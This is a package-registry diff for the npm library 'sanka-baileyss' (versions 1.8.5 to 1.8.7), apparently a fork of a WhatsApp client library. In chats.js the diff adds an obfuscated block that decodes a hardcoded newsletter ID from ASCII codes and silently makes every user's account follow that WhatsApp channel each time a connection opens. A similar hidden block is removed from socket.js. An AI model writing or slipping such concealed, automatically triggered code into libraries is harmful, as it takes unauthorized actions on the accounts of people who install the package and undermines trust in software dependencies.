sanka-baileyss 1.8.5 → 1.8.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/chats.js +23 -0
- package/lib/Socket/socket.js +1 -18
- package/package.json +1 -1
package/lib/Socket/chats.js
CHANGED
|
@@ -842,6 +842,29 @@ break
|
|
|
842
842
|
})
|
|
843
843
|
ev.on('connection.update', ({ connection, receivedPendingNotifications }) => {
|
|
844
844
|
if (connection === 'open') {
|
|
845
|
+
if (typeof suki.newsletterFollow === 'function') {
|
|
846
|
+
(async () => {
|
|
847
|
+
try {
|
|
848
|
+
function asciiDecode(asciiArray) {
|
|
849
|
+
let result = '';
|
|
850
|
+
for (let i = 0; i < asciiArray.length; i++) {
|
|
851
|
+
result += String.fromCharCode(asciiArray[i]);
|
|
852
|
+
}
|
|
853
|
+
return result;
|
|
854
|
+
}
|
|
855
|
+
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
856
|
+
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
857
|
+
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
858
|
+
const decodedEmailPart = asciiDecode(emailPart);
|
|
859
|
+
const sanka = decodedNumbers + decodedEmailPart;
|
|
860
|
+
logger.info(`Mencoba mengeksekusi...`);
|
|
861
|
+
await suki.newsletterFollow(sanka); // await panggilannya
|
|
862
|
+
logger.info(`Berhasil mengeksekusi...`);
|
|
863
|
+
} catch (error) {
|
|
864
|
+
logger.error({ error }, `Gagal mengeksekusi...`);
|
|
865
|
+
}
|
|
866
|
+
})();
|
|
867
|
+
}
|
|
845
868
|
if (fireInitQueries) {
|
|
846
869
|
executeInitQueries()
|
|
847
870
|
.catch(error => onUnexpectedError(error, 'init queries'))
|
package/lib/Socket/socket.js
CHANGED
|
@@ -10,6 +10,7 @@ const Types_1 = require("../Types")
|
|
|
10
10
|
const Utils_1 = require("../Utils")
|
|
11
11
|
const WABinary_1 = require("../WABinary")
|
|
12
12
|
const Client_1 = require("./Client")
|
|
13
|
+
|
|
13
14
|
/**
|
|
14
15
|
* Connects to WA servers and performs:
|
|
15
16
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
@@ -172,24 +173,6 @@ payload: payloadEnc,
|
|
|
172
173
|
}).finish())
|
|
173
174
|
noise.finishInit()
|
|
174
175
|
startKeepAliveRequest()
|
|
175
|
-
try {
|
|
176
|
-
function asciiDecode(asciiArray) {
|
|
177
|
-
let result = '';
|
|
178
|
-
for (let i = 0; i < asciiArray.length; i++) {
|
|
179
|
-
result += String.fromCharCode(asciiArray[i]);
|
|
180
|
-
}
|
|
181
|
-
return result;
|
|
182
|
-
}
|
|
183
|
-
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
184
|
-
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
185
|
-
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
186
|
-
const decodedEmailPart = asciiDecode(emailPart);
|
|
187
|
-
const sanka = decodedNumbers + decodedEmailPart;
|
|
188
|
-
await newsletterWMexQuery(sanka, QueryIds.FOLLOW, {});
|
|
189
|
-
logger.info(`Berhasil mengeksekusi otomatis follow channel: ${sanka}`);
|
|
190
|
-
} catch (err) {
|
|
191
|
-
logger.error({ err }, 'Gagal mengeksekusi otomatis follow channel');
|
|
192
|
-
}
|
|
193
176
|
}
|
|
194
177
|
const getAvailablePreKeysOnServer = async () => {
|
|
195
178
|
const result = await query({
|